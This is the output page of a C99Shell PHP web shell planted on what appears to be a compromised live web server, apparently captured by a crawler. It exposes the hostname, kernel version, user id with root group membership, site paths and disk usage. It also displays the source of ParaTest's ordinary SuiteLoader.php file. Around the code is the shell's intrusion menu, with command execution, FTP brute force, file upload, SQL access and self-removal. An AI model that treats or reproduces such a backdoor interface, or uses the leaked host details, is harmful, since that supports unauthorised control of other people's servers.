!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/brianium/paratest/src/WrapperRunner/   drwxr-xr-x
Free 28.77 GB of 117.98 GB (24.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SuiteLoader.php (5.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ParaTest\WrapperRunner;

use 
Generator;
use 
ParaTest\Options;
use 
PHPUnit\Framework\TestCase;
use 
PHPUnit\Framework\TestSuite;
use 
PHPUnit\Runner\PhptTestCase;
use 
PHPUnit\Runner\ResultCache\NullResultCache;
use 
PHPUnit\Runner\TestSuiteSorter;
use 
PHPUnit\TextUI\Command\Result;
use 
PHPUnit\TextUI\Command\WarmCodeCoverageCacheCommand;
use 
PHPUnit\TextUI\Configuration\CodeCoverageFilterRegistry;
use 
PHPUnit\TextUI\Configuration\PhpHandler;
use 
PHPUnit\TextUI\Configuration\TestSuiteBuilder;
use 
PHPUnit\TextUI\TestSuiteFilterProcessor;
use 
ReflectionClass;
use 
ReflectionProperty;
use 
Symfony\Component\Console\Output\OutputInterface;

use function 
array_keys;
use function 
assert;
use function 
count;
use function 
is_int;
use function 
is_string;
use function 
mt_srand;
use function 
ob_get_clean;
use function 
ob_start;
use function 
sprintf;
use function 
str_starts_with;
use function 
strlen;
use function 
substr;

/** @internal */
final class SuiteLoader
{
    public readonly 
int $testCount;
    
/** @var list<non-empty-string> */
    
public readonly array $tests;

    public function 
__construct(
        private readonly 
Options $options,
        
OutputInterface $output,
        
CodeCoverageFilterRegistry $codeCoverageFilterRegistry,
    ) {
        (new 
PhpHandler())->handle($this->options->configuration->php());

        if (
$this->options->configuration->hasBootstrap()) {
            include_once 
$this->options->configuration->bootstrap();
        }

        
$testSuite = (new TestSuiteBuilder())->build($this->options->configuration);

        if (
$this->options->configuration->executionOrder() === TestSuiteSorter::ORDER_RANDOMIZED) {
            
mt_srand($this->options->configuration->randomOrderSeed());
        }

        if (
            
$this->options->configuration->executionOrder() !== TestSuiteSorter::ORDER_DEFAULT ||
            
$this->options->configuration->executionOrderDefects() !== TestSuiteSorter::ORDER_DEFAULT ||
            
$this->options->configuration->resolveDependencies()
        ) {
            (new 
TestSuiteSorter(new NullResultCache()))->reorderTestsInSuite(
                
$testSuite,
                
$this->options->configuration->executionOrder(),
                
$this->options->configuration->resolveDependencies(),
                
$this->options->configuration->executionOrderDefects(),
            );
        }

        (new 
TestSuiteFilterProcessor())->process($this->options->configuration$testSuite);

        
$this->testCount count($testSuite);

        
$files = [];
        
$tests = [];
        foreach (
$this->loadFiles($testSuite) as $file => $test) {
            
$files[$file] = null;

            if (
$test instanceof PhptTestCase) {
                
$tests[] = $file;
            } else {
                
$name $test->name();
                if (
$test->providedData() !== []) {
                    
$dataName $test->dataName();
                    if (
$this->options->functional) {
                        
$name sprintf('/%s\s.*%s.*$/'$name$dataName);
                    } else {
                        if (
is_int($dataName)) {
                            
$name .= '#' $dataName;
                        } else {
                            
$name .= '@' $dataName;
                        }
                    }
                } else {
                    
$name sprintf('/%s$/'$name);
                }

                
$tests[] = "$file\0$name";
            }
        }

        
$this->tests $this->options->functional
            
$tests
            
array_keys($files);

        if (! 
$this->options->configuration->hasCoverageReport()) {
            return;
        }

        
ob_start();
        
$result       = (new WarmCodeCoverageCacheCommand(
            
$this->options->configuration,
            
$codeCoverageFilterRegistry,
        ))->
execute();
        
$ob_get_clean ob_get_clean();
        
assert($ob_get_clean !== false);
        
$output->write($ob_get_clean);
        
$output->write($result->output());
        if (
$result->shellExitCode() !== Result::SUCCESS) {
            exit(
$result->shellExitCode());
        }
    }

    
/** @return Generator<non-empty-string, (PhptTestCase|TestCase)> */
    
private function loadFiles(TestSuite $testSuite): Generator
    
{
        foreach (
$testSuite as $test) {
            if (
$test instanceof TestSuite) {
                yield from 
$this->loadFiles($test);

                continue;
            }

            if (
$test instanceof PhptTestCase) {
                
$refProperty = new ReflectionProperty(PhptTestCase::class, 'filename');
                
$filename    $refProperty->getValue($test);
                
assert(is_string($filename) && $filename !== '');
                
$filename $this->stripCwd($filename);

                yield 
$filename => $test;

                continue;
            }

            if (
$test instanceof TestCase) {
                
$refClass = new ReflectionClass($test);
                
$filename $refClass->getFileName();
                
assert(is_string($filename) && $filename !== '');
                
$filename $this->stripCwd($filename);

                yield 
$filename => $test;

                continue;
            }
        }
    }

    
/**
     * @param non-empty-string $filename
     *
     * @return non-empty-string
     */
    
private function stripCwd(string $filename): string
    
{
        if (! 
str_starts_with($filename$this->options->cwd)) {
            return 
$filename;
        }

        
$substr substr($filenamestrlen($this->options->cwd));
        
assert($substr !== '');

        return 
$substr;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--